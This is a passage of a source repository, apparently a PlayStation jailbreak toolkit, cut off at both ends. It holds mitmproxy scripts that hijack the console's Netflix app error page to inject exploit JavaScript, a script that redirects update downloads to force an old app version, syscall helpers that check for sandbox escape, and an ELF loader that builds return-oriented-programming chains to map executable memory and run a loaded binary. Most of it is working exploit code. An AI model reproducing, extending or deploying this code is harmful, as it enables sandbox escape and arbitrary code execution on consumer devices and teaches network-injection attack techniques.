0xEC; 95 | 96 | var block_fd = 0xffffffffffffffffn; 97 | var unblock_fd = 0xffffffffffffffffn; 98 | var block_id = -1n; 99 | var groom_ids = null; 100 | var sds = null; 101 | var sds_alt = null; 102 | var prev_core = -1; 103 | var prev_rtprio = 0n; 104 | var ready_signal = 0n; 105 | var deletion_signal = 0n; 106 | var pipe_buf = 0n; 107 | 108 | var saved_fpu_ctrl = 0; 109 | var saved_mxcsr = 0; 110 | 111 | function sysctlbyname(name, oldp, oldp_len, newp, newp_len) { 112 | const translate_name_mib = malloc(0x8); 113 | const buf_size = 0x70; 114 | const mib = malloc(buf_size); 115 | const size = malloc(0x8); 116 | 117 | write64_uncompressed(translate_name_mib, 0x300000000n); 118 | write64_uncompressed(size, BigInt(buf_size)); 119 | 120 | const name_addr = alloc_string(name); 121 | const name_len = BigInt(name.length); 122 | 123 | if (syscall(SYSCALL.sysctl, translate_name_mib, 2n, mib, size, name_addr, name_len) === 0xffffffffffffffffn) { 124 | throw new Error("failed to translate sysctl name to mib (" + name + ")"); 125 | } 126 | 127 | if (syscall(SYSCALL.sysctl, mib, 2n, oldp, oldp_len, newp, newp_len) === 0xffffffffffffffffn) { 128 | return false; 129 | } 130 | 131 | return true; 132 | } 133 | -------------------------------------------------------------------------------- /PS4/proxy.py: -------------------------------------------------------------------------------- 1 | from mitmproxy import http 2 | from mitmproxy.proxy.layers import tls 3 | import os 4 | 5 | # Load blocked domains from hosts.txt 6 | BLOCKED_DOMAINS = set() 7 | 8 | def load_blocked_domains(): 9 | """Load domains from hosts.txt file""" 10 | global BLOCKED_DOMAINS 11 | hosts_path = os.path.join(os.path.dirname(__file__), "../hosts.txt") 12 | 13 | try: 14 | with open(hosts_path, "r") as f: 15 | for line in f: 16 | line = line.strip() 17 | # Skip empty lines and comments 18 | if line and not line.startswith("#"): 19 | # Extract domain (handle format: "0.0.0.0 domain.com" or just "domain.com") 20 | parts = line.split() 21 | domain = parts[-1] if parts else line 22 | BLOCKED_DOMAINS.add(domain.lower()) 23 | print(f"[+] Loaded {len(BLOCKED_DOMAINS)} blocked domains from hosts.txt") 24 | except FileNotFoundError: 25 | print(f"[!] WARNING: hosts.txt not found at {hosts_path}") 26 | exit() 27 | except Exception as e: 28 | print(f"[!] ERROR loading hosts.txt: {e}") 29 | 30 | # Load domains when script initializes 31 | load_blocked_domains() 32 | 33 | def is_blocked(hostname: str) -> bool: 34 | """Check if hostname matches any blocked domain""" 35 | hostname_lower = hostname.lower() 36 | for blocked in BLOCKED_DOMAINS: 37 | if blocked in hostname_lower: 38 | return True 39 | return False 40 | 41 | def tls_clienthello(data: tls.ClientHelloData) -> None: 42 | if data.context.server.address: 43 | hostname = data.context.server.address[0] 44 | 45 | # Block domains at TLS layer 46 | if is_blocked(hostname): 47 | raise ConnectionRefusedError(f"[*] Blocked HTTPS connection to: {hostname}") 48 | 49 | 50 | def request(flow: http.HTTPFlow) -> None: 51 | """Handle HTTP/HTTPS requests after TLS handshake""" 52 | hostname = flow.request.pretty_host 53 | 54 | # Special handling for Netflix - corrupt the response 55 | if "netflix" in hostname: 56 | flow.response = http.Response.make( 57 | 200, 58 | b"uwu", # probably don't need this many uwus. just corrupt the response 59 | {"Content-Type": "application/x-msl+json"} 60 | ) 61 | print(f"[*] Corrupted Netflix response for: {hostname}") 62 | return 63 | 64 | # Block other domains from hosts.txt 65 | if is_blocked(hostname): 66 | flow.response = http.Response.make( 67 | 404, 68 | b"uwu", 69 | ) 70 | print(f"[*] Blocked HTTP request to: {hostname}") 71 | return 72 | 73 | # Map error text js to inject_auto_bundle.js (auto-runs lapse + binloader) 74 | if "/js/common/config/text/config.text.lruderrorpage" in flow.request.path: 75 | inject_path = os.path.join(os.path.dirname(__file__), "inject_auto_bundle.js") 76 | print(f"[*] Injecting JavaScript from: {inject_path}") 77 | 78 | try: 79 | with open(inject_path, "rb") as f: 80 | content = f.read() 81 | print(f"[+] Loaded {len(content)} bytes from inject_auto_bundle.js") 82 | flow.response = http.Response.make( 83 | 200, 84 | content, 85 | {"Content-Type": "application/javascript"} 86 | ) 87 | except FileNotFoundError: 88 | print(f"[!] ERROR: inject_auto_bundle.js not found at {inject_path}") 89 | print(f"[!] Run ./bundle_auto.sh to generate it") 90 | flow.response = http.Response.make( 91 | 404, 92 | b"File not found: inject_auto_bundle.js - run ./bundle_auto.sh", 93 | {"Content-Type": "text/plain"} 94 | ) 95 | 96 | 97 | if "/js/lapse.js" in flow.request.path: 98 | inject_path = os.path.join(os.path.dirname(__file__), "payloads", "lapse.js") 99 | print(f"[*] Injecting JavaScript from: {inject_path}") 100 | 101 | try: 102 | with open(inject_path, "rb") as f: 103 | content = f.read() 104 | print(f"[+] Loaded {len(content)} bytes from lapse.js") 105 | flow.response = http.Response.make( 106 | 200, 107 | content, 108 | {"Content-Type": "application/javascript"} 109 | ) 110 | except FileNotFoundError: 111 | print(f"[!] ERROR: lapse.js not found at {inject_path}") 112 | flow.response = http.Response.make( 113 | 404, 114 | b"File not found: 1_lapse_prepare_1.js", 115 | {"Content-Type": "text/plain"} 116 | ) 117 | 118 | 119 | -------------------------------------------------------------------------------- /PS4/downgrader.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # based on https://github.com/Ailyth99/RewindPS4 4 | 5 | 6 | from mitmproxy import http 7 | from mitmproxy.proxy.layers import tls 8 | import os 9 | import logging 10 | from mitmproxy.addonmanager import Loader 11 | from mitmproxy.log import ALERT 12 | 13 | logger = logging.getLogger(__name__) 14 | 15 | # Load blocked domains from hosts.txt 16 | BLOCKED_DOMAINS = set() 17 | 18 | def load_blocked_domains(): 19 | """Load domains from hosts.txt file""" 20 | global BLOCKED_DOMAINS 21 | hosts_path = os.path.join(os.path.dirname(__file__), "../hosts.txt") 22 | 23 | try: 24 | with open(hosts_path, "r") as f: 25 | for line in f: 26 | line = line.strip() 27 | # Skip empty lines and comments 28 | if line and not line.startswith("#"): 29 | # Extract domain (handle format: "0.0.0.0 domain.com" or just "domain.com") 30 | parts = line.split() 31 | domain = parts[-1] if parts else line 32 | BLOCKED_DOMAINS.add(domain.lower()) 33 | logger.info(f"[+] Loaded {len(BLOCKED_DOMAINS)} blocked domains from hosts.txt") 34 | except FileNotFoundError: 35 | logger.info(f"[!] WARNING: hosts.txt not found at {hosts_path}") 36 | exit() 37 | except Exception as e: 38 | logger.info(f"[!] ERROR loading hosts.txt: {e}") 39 | 40 | # Load domains when script initializes 41 | load_blocked_domains() 42 | 43 | def is_blocked(hostname: str) -> bool: 44 | """Check if hostname matches any blocked domain""" 45 | hostname_lower = hostname.lower() 46 | for blocked in BLOCKED_DOMAINS: 47 | if blocked in hostname_lower: 48 | return True 49 | return False 50 | 51 | def tls_clienthello(data: tls.ClientHelloData) -> None: 52 | if data.context.server.address: 53 | hostname = data.context.server.address[0] 54 | 55 | # Block domains at TLS layer 56 | if is_blocked(hostname): 57 | #flow.kill() 58 | logger.info(f"[*] Blocked HTTPS connection to: {hostname}") 59 | raise ConnectionRefusedError(f"[*] Blocked HTTPS connection to: {hostname}") 60 | else: 61 | pass 62 | data.ignore_connection = True 63 | 64 | 65 | def request(flow: http.HTTPFlow) -> None: 66 | """Handle HTTP/HTTPS requests after TLS handshake""" 67 | hostname = flow.request.pretty_host 68 | 69 | # Check for downgrade redirect (HTTP only) 70 | # Downgrade target 71 | EU_REDIRECT = "http://gs2.ww.prod.dl.playstation.net/gs2/ppkgo/prod/CUSA00127_00/108/f_2c294dc5a28917366a122cd32c2d03d000eb2aa27fe651231aaaf143ced665fd/f/EP4350-CUSA00127_00-NETFLIXPOLLUX001-A0153-V0100.json" 72 | US_REDIRECT = "http://gs2.ww.prod.dl.playstation.net/gs2/ppkgo/prod/CUSA00129_00/185/f_624fc32fe1d54c3062691b7ed42e78ab0c2bbbc73379a53f92fbff4b619d763a/f/UT0007-CUSA00129_00-NETFLIXPOLLUX001-A0153-V0100.json" 73 | JP_REDIRECT = "http://gs2.ww.prod.dl.playstation.net/gs2/ppkgo/prod/CUSA02988_00/104/f_9e6144c11eab87b3ebf340cce86ae456a135e80f848ead1185eb7a3ec19f0abe/f/JA0010-CUSA02988_00-NETFLIXPOLLUX001-A0153-V0100.json" 74 | nflix_cusas = ["CUSA00127", "CUSA00129", "CUSA02988"] 75 | 76 | if flow.request.scheme == "http" and "gs2.ww.prod.dl.playstation.net" in flow.request.pretty_url: 77 | if nflix_cusas[0] in flow.request.pretty_url and ".json" in flow.request.pretty_url: 78 | 79 | logger.info(f"[REDIRECT][CUSA00127] {flow.request.pretty_url}") 80 | logger.info(f" -> {EU_REDIRECT}") 81 | flow.request.url = EU_REDIRECT 82 | 83 | elif nflix_cusas[1] in flow.request.pretty_url and ".json" in flow.request.pretty_url: 84 | logger.info(f"[REDIRECT][CUSA00129] {flow.request.pretty_url}") 85 | logger.info(f" -> {US_REDIRECT}") 86 | flow.request.url = US_REDIRECT 87 | 88 | elif nflix_cusas[2] in flow.request.pretty_url and ".json" in flow.request.pretty_url: 89 | logger.info(f"[REDIRECT][CUSA02988] {flow.request.pretty_url}") 90 | logger.info(f" -> {JP_REDIRECT}") 91 | flow.request.url = JP_REDIRECT 92 | 93 | elif ".pkg" in flow.request.pretty_url: 94 | if nflix_cusas[0] in flow.request.pretty_url or nflix_cusas[1] in flow.request.pretty_url or nflix_cusas[2] in flow.request.pretty_url: 95 | flow.comment = "PKG ALLOWED" 96 | else: 97 | flow.comment = f"PKG BLOCKED - no matching CUSA" 98 | pass 99 | else: 100 | flow.response = http.Response.make( 101 | 200, 102 | b"uwu", # probably don't need this many uwus. just corrupt the response 103 | {"Content-Type": "application/x-msl+json"} 104 | ) 105 | 106 | logger.info(f"[*] Corrupted Game update response for: {hostname}") 107 | 108 | return 109 | 110 | # Block other domains from hosts.txt 111 | if is_blocked(hostname): 112 | flow.response = http.Response.make( 113 | 404, 114 | b"uwu", 115 | ) 116 | logger.info(f"[*] Blocked HTTP request to: {hostname}") 117 | return 118 | -------------------------------------------------------------------------------- /PS4/payloads/lapse/misc.js: -------------------------------------------------------------------------------- 1 | function find_pattern(buffer, pattern_string) { 2 | const parts = pattern_string.split(' '); 3 | const matches = []; 4 | 5 | for (let i = 0; i <= buffer.length - parts.length; i++) { 6 | let match = true; 7 | 8 | for (let j = 0; j < parts.length; j++) { 9 | if (parts[j] === '?') continue; 10 | if (buffer[i + j] !== parseInt(parts[j], 16)) { 11 | match = false; 12 | break; 13 | } 14 | } 15 | 16 | if (match) matches.push(i); 17 | } 18 | 19 | return matches; 20 | } 21 | 22 | function get_fwversion() { 23 | const buf = malloc(0x8); 24 | const size = malloc(0x8); 25 | write64_uncompressed(size, 0x8n); 26 | 27 | if (sysctlbyname("kern.sdk_version", buf, size, 0n, 0n)) { 28 | const byte1 = Number(read8_uncompressed(buf + 2n)); // Minor version (first byte) 29 | const byte2 = Number(read8_uncompressed(buf + 3n)); // Major version (second byte) 30 | 31 | const version = byte2.toString(16) + '.' + byte1.toString(16).padStart(2, '0'); 32 | return version; 33 | } 34 | 35 | return null; 36 | } 37 | 38 | function create_pipe() { 39 | const fildes = malloc(0x10); 40 | 41 | logger.log(" create_pipe: calling pipe syscall..."); 42 | logger.flush(); 43 | 44 | // Use the standard syscall() function from inject.js 45 | const result = syscall(SYSCALL.pipe, fildes); 46 | 47 | logger.log(" create_pipe: pipe returned " + hex(result)); 48 | logger.flush(); 49 | 50 | if (result === 0xffffffffffffffffn) { 51 | throw new Error("pipe syscall failed"); 52 | } 53 | 54 | const read_fd = read32_uncompressed(fildes); 55 | const write_fd = read32_uncompressed(fildes + 4n); 56 | logger.log(" create_pipe: read_fd=" + hex(read_fd) + " write_fd=" + hex(write_fd)); 57 | logger.flush(); 58 | return [read_fd, write_fd]; 59 | } 60 | 61 | function read_buffer(addr, len) { 62 | const buffer = new Uint8Array(len); 63 | for (let i = 0; i < len; i++) { 64 | buffer[i] = Number(read8_uncompressed(addr + BigInt(i))); 65 | } 66 | return buffer; 67 | } 68 | 69 | function read_cstring(addr) { 70 | let str = ""; 71 | let i = 0n; 72 | while (true) { 73 | const c = Number(read8_uncompressed(addr + i)); 74 | if (c === 0) break; 75 | str += String.fromCharCode(c); 76 | i++; 77 | if (i > 256n) break; // Safety limit 78 | } 79 | return str; 80 | } 81 | 82 | function write_buffer(addr, buffer) { 83 | for (let i = 0; i < buffer.length; i++) { 84 | write8_uncompressed(addr + BigInt(i), buffer[i]); 85 | } 86 | } 87 | 88 | function get_nidpath() { 89 | const path_buffer = malloc(0x255); 90 | const len_ptr = malloc(8); 91 | 92 | write64_uncompressed(len_ptr, 0x255n); 93 | 94 | const ret = syscall(SYSCALL.randomized_path, 0n, path_buffer, len_ptr); 95 | if (ret === 0xffffffffffffffffn) { 96 | throw new Error("randomized_path failed : " + hex(ret)); 97 | } 98 | 99 | return read_cstring(path_buffer); 100 | } 101 | 102 | function nanosleep(nsec) { 103 | const timespec = malloc(0x10); 104 | write64_uncompressed(timespec, BigInt(Math.floor(nsec / 1e9))); // tv_sec 105 | write64_uncompressed(timespec + 8n, BigInt(nsec % 1e9)); // tv_nsec 106 | syscall(SYSCALL.nanosleep, timespec); 107 | } 108 | 109 | function is_jailbroken() { 110 | const cur_uid = syscall(SYSCALL.getuid); 111 | const is_in_sandbox = syscall(SYSCALL.is_in_sandbox); 112 | if (cur_uid === 0n && is_in_sandbox === 0n) { 113 | return true; 114 | } else { 115 | 116 | // Check if elfldr is running at 9021 117 | const sockaddr_in = malloc(16); 118 | const enable = malloc(4); 119 | 120 | const sock_fd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n); 121 | if (sock_fd === 0xffffffffffffffffn) { 122 | throw new Error("socket failed: " + hex(sock_fd)); 123 | } 124 | 125 | try { 126 | write32_uncompressed(enable, 1); 127 | syscall(SYSCALL.setsockopt, sock_fd, SOL_SOCKET, SO_REUSEADDR, enable, 4n); 128 | 129 | write8_uncompressed(sockaddr_in + 1n, AF_INET); 130 | write16_uncompressed(sockaddr_in + 2n, 0x3D23n); // port 9021 131 | write32_uncompressed(sockaddr_in + 4n, 0x0100007Fn); // 127.0.0.1 132 | 133 | // Try to connect to 127.0.0.1:9021 134 | const ret = syscall(SYSCALL.connect, sock_fd, sockaddr_in, 16n); 135 | 136 | if (ret === 0n) { 137 | syscall(SYSCALL.close, sock_fd); 138 | return true; 139 | } else { 140 | syscall(SYSCALL.close, sock_fd); 141 | return false; 142 | } 143 | } catch (e) { 144 | syscall(SYSCALL.close, sock_fd); 145 | return false; 146 | } 147 | } 148 | } 149 | 150 | function check_jailbroken() { 151 | if (!is_jailbroken()) { 152 | throw new Error("process is not jailbroken") 153 | } 154 | } 155 | 156 | function file_exists(path) { 157 | const path_addr = alloc_string(path); 158 | const fd = syscall(SYSCALL.open, path_addr, O_RDONLY); 159 | 160 | if (fd !== 0xffffffffffffffffn) { 161 | syscall(SYSCALL.close, fd); 162 | return true; 163 | } else { 164 | return false; 165 | } 166 | } 167 | 168 | function write_file(path, text) { 169 | const mode = 0x1ffn; // 777 170 | const path_addr = alloc_string(path); 171 | const data_addr = alloc_string(text); 172 | 173 | const flags = O_CREAT | O_WRONLY | O_TRUNC; 174 | const fd = syscall(SYSCALL.open, path_addr, flags, mode); 175 | 176 | if (fd === 0xffffffffffffffffn) { 177 | throw new Error("open failed for " + path + " fd: " + hex(fd)); 178 | } 179 | 180 | const written = syscall(SYSCALL.write, fd, data_addr, BigInt(text.length)); 181 | if (written === 0xffffffffffffffffn) { 182 | syscall(SYSCALL.close, fd); 183 | throw new Error("write failed : " + hex(written)); 184 | } 185 | 186 | syscall(SYSCALL.close, fd); 187 | return Number(written); // number of bytes written 188 | } 189 | -------------------------------------------------------------------------------- /proxy.py: -------------------------------------------------------------------------------- 1 | from mitmproxy import http 2 | from mitmproxy.proxy.layers import tls 3 | import os 4 | 5 | # Load blocked domains from hosts.txt 6 | BLOCKED_DOMAINS = set() 7 | 8 | def load_blocked_domains(): 9 | """Load domains from hosts.txt file""" 10 | global BLOCKED_DOMAINS 11 | hosts_path = os.path.join(os.path.dirname(__file__), "hosts.txt") 12 | 13 | try: 14 | with open(hosts_path, "r") as f: 15 | for line in f: 16 | line = line.strip() 17 | # Skip empty lines and comments 18 | if line and not line.startswith("#"): 19 | # Extract domain (handle format: "0.0.0.0 domain.com" or just "domain.com") 20 | parts = line.split() 21 | domain = parts[-1] if parts else line 22 | BLOCKED_DOMAINS.add(domain.lower()) 23 | print(f"[+] Loaded {len(BLOCKED_DOMAINS)} blocked domains from hosts.txt") 24 | except FileNotFoundError: 25 | print(f"[!] WARNING: hosts.txt not found at {hosts_path}") 26 | except Exception as e: 27 | print(f"[!] ERROR loading hosts.txt: {e}") 28 | 29 | # Load domains when script initializes 30 | load_blocked_domains() 31 | 32 | def is_blocked(hostname: str) -> bool: 33 | """Check if hostname matches any blocked domain""" 34 | hostname_lower = hostname.lower() 35 | for blocked in BLOCKED_DOMAINS: 36 | if blocked in hostname_lower: 37 | return True 38 | return False 39 | 40 | def tls_clienthello(data: tls.ClientHelloData) -> None: 41 | if data.context.server.address: 42 | hostname = data.context.server.address[0] 43 | 44 | # Block domains at TLS layer 45 | if is_blocked(hostname): 46 | raise ConnectionRefusedError(f"[*] Blocked HTTPS connection to: {hostname}") 47 | 48 | 49 | def request(flow: http.HTTPFlow) -> None: 50 | """Handle HTTP/HTTPS requests after TLS handshake""" 51 | hostname = flow.request.pretty_host 52 | 53 | # Special handling for Netflix - corrupt the response 54 | if "netflix" in hostname: 55 | flow.response = http.Response.make( 56 | 200, 57 | b"uwu", # probably don't need this many uwus. just corrupt the response 58 | {"Content-Type": "application/x-msl+json"} 59 | ) 60 | print(f"[*] Corrupted Netflix response for: {hostname}") 61 | return 62 | 63 | # Block other domains from hosts.txt 64 | if is_blocked(hostname): 65 | flow.response = http.Response.make( 66 | 404, 67 | b"uwu", 68 | ) 69 | print(f"[*] Blocked HTTP request to: {hostname}") 70 | return 71 | 72 | # Map error text js to inject.js 73 | if "/js/common/config/text/config.text.lruderrorpage" in flow.request.path: 74 | inject_path = os.path.join(os.path.dirname(__file__), "inject_elfldr_automated.js") 75 | print(f"[*] Injecting JavaScript from: {inject_path}") 76 | 77 | try: 78 | with open(inject_path, "rb") as f: 79 | content = f.read() 80 | print(f"[+] Loaded {len(content)} bytes from inject.js") 81 | flow.response = http.Response.make( 82 | 200, 83 | content, 84 | {"Content-Type": "application/javascript"} 85 | ) 86 | except FileNotFoundError: 87 | print(f"[!] ERROR: inject.js not found at {inject_path}") 88 | flow.response = http.Response.make( 89 | 404, 90 | b"File not found: inject.js", 91 | {"Content-Type": "text/plain"} 92 | ) 93 | 94 | 95 | if "/js/lapse.js" in flow.request.path: 96 | inject_path = os.path.join(os.path.dirname(__file__), "payloads", "lapse.js") 97 | print(f"[*] Injecting JavaScript from: {inject_path}") 98 | 99 | try: 100 | with open(inject_path, "rb") as f: 101 | content = f.read() 102 | print(f"[+] Loaded {len(content)} bytes from lapse.js") 103 | flow.response = http.Response.make( 104 | 200, 105 | content, 106 | {"Content-Type": "application/javascript"} 107 | ) 108 | except FileNotFoundError: 109 | print(f"[!] ERROR: lapse.js not found at {inject_path}") 110 | flow.response = http.Response.make( 111 | 404, 112 | b"File not found: 1_lapse_prepare_1.js", 113 | {"Content-Type": "text/plain"} 114 | ) 115 | 116 | if "/js/elf_loader.js" in flow.request.path: 117 | inject_path = os.path.join(os.path.dirname(__file__), "payloads", "elf_loader.js") 118 | print(f"[*] Injecting JavaScript from: {inject_path}") 119 | 120 | try: 121 | with open(inject_path, "rb") as f: 122 | content = f.read() 123 | print(f"[+] Loaded {len(content)} bytes from elf_loader.js") 124 | flow.response = http.Response.make( 125 | 200, 126 | content, 127 | {"Content-Type": "application/javascript"} 128 | ) 129 | except FileNotFoundError: 130 | print(f"[!] ERROR: lapse.js not found at {inject_path}") 131 | flow.response = http.Response.make( 132 | 404, 133 | b"File not found: elf_loader.js", 134 | {"Content-Type": "text/plain"} 135 | ) 136 | # Map elfldr.elf to elfldr.elf (binary) 137 | if "/js/elfldr.elf" in flow.request.path: 138 | inject_path = os.path.join(os.path.dirname(__file__), "payloads", "elfldr.elf") 139 | print(f"[*] Injecting JavaScript from: {inject_path}") 140 | 141 | try: 142 | with open(inject_path, "rb") as f: 143 | content = f.read() 144 | print(f"[+] Loaded {len(content)} bytes from elfldr.elf") 145 | flow.response = http.Response.make( 146 | 200, 147 | content, 148 | {"Content-Type": "application/javascript"} 149 | ) 150 | except FileNotFoundError: 151 | print(f"[!] ERROR: elfldr.elf not found at {inject_path}") 152 | flow.response = http.Response.make( 153 | 404, 154 | b"File not found: elfldr.elf", 155 | {"Content-Type": "text/plain"} 156 | ) 157 | 158 | 159 | if "/js/ps4/inject_auto_bundle.js" in flow.request.path: 160 | inject_path = os.path.join(os.path.dirname(__file__), "PS4", "inject_auto_bundle.js") 161 | print(f"[*] Injecting JavaScript from: {inject_path}") 162 | 163 | try: 164 | with open(inject_path, "rb") as f: 165 | content = f.read() 166 | print(f"[+] Loaded {len(content)} bytes from inject_auto_bundle.js") 167 | flow.response = http.Response.make( 168 | 200, 169 | content, 170 | {"Content-Type": "application/javascript"} 171 | ) 172 | except FileNotFoundError: 173 | print(f"[!] ERROR: inject_auto_bundle.js not found at {inject_path}") 174 | flow.response = http.Response.make( 175 | 404, 176 | b"File not found: inject_auto_bundle.js", 177 | {"Content-Type": "text/plain"} 178 | ) 179 | -------------------------------------------------------------------------------- /payloads/elf_loader.js: -------------------------------------------------------------------------------- 1 | // https://github.com/shahrilnet/remote_lua_loader/blob/main/payloads/elf_loader.lua 2 | // Only expected to load john tornblom's elfldr.elf 3 | // credit to nullptr for porting to lua and specter for the original code 4 | // credit to c0w-ar for isolating rop chain to improve stability 5 | 6 | const ELF_SHADOW_MAPPING_ADDR = 0x920100000n; 7 | const ELF_MAPPING_ADDR = 0x926100000n; 8 | 9 | async function elf_parse(elf_store) { 10 | 11 | // ELF sizes and offsets 12 | const SIZE_ELF_HEADER = 0x40n; 13 | const SIZE_ELF_PROGRAM_HEADER = 0x38n; 14 | const SIZE_ELF_SECTION_HEADER = 0x40n; 15 | 16 | const OFFSET_ELF_HEADER_ENTRY = 0x18n; 17 | const OFFSET_ELF_HEADER_PHOFF = 0x20n; 18 | const OFFSET_ELF_HEADER_SHOFF = 0x28n; 19 | const OFFSET_ELF_HEADER_PHNUM = 0x38n; 20 | const OFFSET_ELF_HEADER_SHNUM = 0x3cn; 21 | 22 | const OFFSET_PROGRAM_HEADER_TYPE = 0x00n; 23 | const OFFSET_PROGRAM_HEADER_FLAGS = 0x04n; 24 | const OFFSET_PROGRAM_HEADER_OFFSET = 0x08n; 25 | const OFFSET_PROGRAM_HEADER_VADDR = 0x10n; 26 | const OFFSET_PROGRAM_HEADER_FILESZ = 0x20n; 27 | const OFFSET_PROGRAM_HEADER_MEMSZ = 0x28n; 28 | 29 | const OFFSET_SECTION_HEADER_TYPE = 0x4n; 30 | const OFFSET_SECTION_HEADER_OFFSET = 0x18n; 31 | const OFFSET_SECTION_HEADER_SIZE = 0x20n; 32 | 33 | const OFFSET_RELA_OFFSET = 0x00n; 34 | const OFFSET_RELA_INFO = 0x08n; 35 | const OFFSET_RELA_ADDEND = 0x10n; 36 | 37 | const RELA_ENTSIZE = 0x18n; 38 | 39 | // Allocate memory for ELF data and copy it 40 | const elf_entry = read64_uncompressed(elf_store + OFFSET_ELF_HEADER_ENTRY); 41 | const elf_entry_point = ELF_MAPPING_ADDR + elf_entry; 42 | 43 | const elf_program_headers_offset = read64_uncompressed(elf_store + OFFSET_ELF_HEADER_PHOFF); 44 | const elf_program_headers_num = read16_uncompressed(elf_store + OFFSET_ELF_HEADER_PHNUM); 45 | 46 | const elf_section_headers_offset = read64_uncompressed(elf_store + OFFSET_ELF_HEADER_SHOFF); 47 | const elf_section_headers_num = read16_uncompressed(elf_store + OFFSET_ELF_HEADER_SHNUM); 48 | 49 | let executable_start = 0n; 50 | let executable_end = 0n; 51 | 52 | // Parse program headers 53 | for (let i = 0n; i < elf_program_headers_num; i++) { 54 | const phdr_offset = elf_program_headers_offset + (i * SIZE_ELF_PROGRAM_HEADER); 55 | const p_type = read32_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_TYPE); 56 | const p_flags = read32_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_FLAGS); 57 | const p_offset = read64_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_OFFSET); 58 | const p_vaddr = read64_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_VADDR); 59 | const p_filesz = read64_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_FILESZ); 60 | const p_memsz = read64_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_MEMSZ); 61 | const aligned_memsz = (p_memsz + 0x3FFFn) & 0xFFFFC000n; 62 | 63 | if (p_type === 0x01n) { 64 | const PROT_RW = PROT_READ | PROT_WRITE; 65 | const PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC; 66 | 67 | if ((p_flags & 0x1n) === 0x1n) { 68 | executable_start = p_vaddr; 69 | executable_end = p_vaddr + p_memsz; 70 | 71 | // Create shm with exec permission 72 | const exec_handle = syscall(SYSCALL.jitshm_create, 0n, aligned_memsz, 0x7n); 73 | 74 | // Create shm alias with write permission 75 | const write_handle = syscall(SYSCALL.jitshm_alias, exec_handle, 0x3n); 76 | 77 | // Map shadow mapping and write into it 78 | syscall(SYSCALL.mmap, ELF_SHADOW_MAPPING_ADDR, aligned_memsz, 79 | PROT_RW, 0x11n, write_handle, 0n); 80 | 81 | // Copy data to shadow mapping 82 | for (let j = 0n; j < p_memsz; j++) { 83 | const byte = read8_uncompressed(elf_store + p_offset + j); 84 | write8_uncompressed(ELF_SHADOW_MAPPING_ADDR + j, byte); 85 | } 86 | 87 | // Map executable segment 88 | syscall(SYSCALL.mmap, ELF_MAPPING_ADDR + p_vaddr, aligned_memsz, 89 | PROT_RWX, 0x11n, exec_handle, 0n); 90 | } else { 91 | 92 | // Copy regular data segment 93 | syscall(SYSCALL.mmap, ELF_MAPPING_ADDR + p_vaddr, aligned_memsz, 94 | PROT_RW, 0x1012n, 0xFFFFFFFFn, 0n); 95 | 96 | // Copy data 97 | for (let j = 0n; j < p_memsz; j++) { 98 | const byte = read8_uncompressed(elf_store + p_offset + j); 99 | write8_uncompressed(ELF_MAPPING_ADDR + p_vaddr + j, byte); 100 | } 101 | } 102 | } 103 | } 104 | 105 | // Apply relocations 106 | for (let i = 0n; i < elf_section_headers_num; i++) { 107 | const shdr_offset = elf_section_headers_offset + (i * SIZE_ELF_SECTION_HEADER); 108 | 109 | const sh_type = read32_uncompressed(elf_store + shdr_offset + OFFSET_SECTION_HEADER_TYPE); 110 | const sh_offset = read64_uncompressed(elf_store + shdr_offset + OFFSET_SECTION_HEADER_OFFSET); 111 | const sh_size = read64_uncompressed(elf_store + shdr_offset + OFFSET_SECTION_HEADER_SIZE); 112 | 113 | if (sh_type === 0x4n) { 114 | const rela_table_count = sh_size / RELA_ENTSIZE; 115 | 116 | // Parse relocs and apply them 117 | for (let j = 0n; j < rela_table_count; j++) { 118 | const rela_entry_offset = sh_offset + j * RELA_ENTSIZE; 119 | const r_offset = read64_uncompressed(elf_store + rela_entry_offset + OFFSET_RELA_OFFSET); 120 | const r_info = read64_uncompressed(elf_store + rela_entry_offset + OFFSET_RELA_INFO); 121 | const r_addend = read64_uncompressed(elf_store + rela_entry_offset + OFFSET_RELA_ADDEND); 122 | 123 | if ((r_info & 0xFFn) === 0x08n) { 124 | let reloc_addr = ELF_MAPPING_ADDR + r_offset; 125 | const reloc_value = ELF_MAPPING_ADDR + r_addend; 126 | 127 | // If the relocation falls in the executable section, we need to redirect the write to the 128 | // writable shadow mapping or we'll crash 129 | if (r_offset >= executable_start && r_offset < executable_end) { 130 | reloc_addr = ELF_SHADOW_MAPPING_ADDR + r_offset; 131 | } 132 | 133 | write64_uncompressed(reloc_addr, reloc_value); 134 | } 135 | } 136 | } 137 | } 138 | return elf_entry_point; 139 | } 140 | 141 | 142 | 143 | function spawn_thread_and_wait(thr_handle_addr, elf_entry_point, args, timespec_addr) { 144 | 145 | // Get PID using syscall primitive lol 146 | const pid = syscall(SYSCALL.getpid); 147 | 148 | write64(add_rop_smash_code_store, 0xab0025n); 149 | real_rbp = addrof(rop_smash(1)) + 0x700000000n + 1n; 150 | 151 | let i = 0; 152 | 153 | // Arguments for thread creation 154 | fake_rop[i++] = g.get('pop_rdi'); 155 | fake_rop[i++] = thr_handle_addr; 156 | fake_rop[i++] = g.get('pop_rsi'); 157 | fake_rop[i++] = elf_entry_point; 158 | fake_rop[i++] = g.get('pop_rdx'); 159 | fake_rop[i++] = args; 160 | fake_rop[i++] = g.get('pop_rcx'); 161 | fake_rop[i++] = 0n; 162 | fake_rop[i++] = g.get('pop_r8'); 163 | fake_rop[i++] = 0n; 164 | fake_rop[i++] = g.get('pop_r9'); 165 | fake_rop[i++] = 0n; 166 | 167 | // Create Thread 168 | fake_rop[i++] = Thrd_create; 169 | 170 | // Nanosleep syscall 171 | fake_rop[i++] = g.get('pop_rdi'); 172 | fake_rop[i++] = timespec_addr; 173 | fake_rop[i++] = g.get('pop_rsi'); 174 | fake_rop[i++] = 0n; 175 | fake_rop[i++] = g.get('pop_rax'); 176 | fake_rop[i++] = 0xf0n; 177 | fake_rop[i++] = syscall_wrapper; 178 | 179 | // Kill process 180 | fake_rop[i++] = g.get('pop_rdi'); 181 | fake_rop[i++] = pid; 182 | fake_rop[i++] = g.get('pop_rsi'); 183 | 